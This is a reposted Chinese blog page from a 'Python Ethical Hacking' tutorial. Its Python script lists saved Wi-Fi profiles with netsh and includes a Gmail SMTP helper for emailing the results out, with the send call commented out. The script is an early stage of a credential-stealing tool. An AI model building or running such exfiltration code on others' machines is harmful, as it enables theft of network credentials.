首页 > 编程语言 > 详细

Python Ethical Hacking - Malware Analysis(2)

时间:2019-09-28 23:01:10      阅读:110      评论:0      收藏:0      [点我收藏+]

Filtering Command Output using Regex

#!/usr/bin/env python

import smtplib
import subprocess
import re


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names = re.findall(b"(?:Profile\s*:\s)(.*)", networks)
print(network_names)
# send_mail("aaaa@gmail.com", "1111111", result)

技术分享图片

 

Python Ethical Hacking - Malware Analysis(2)

原文:https://www.cnblogs.com/keepmoving1113/p/11605273.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!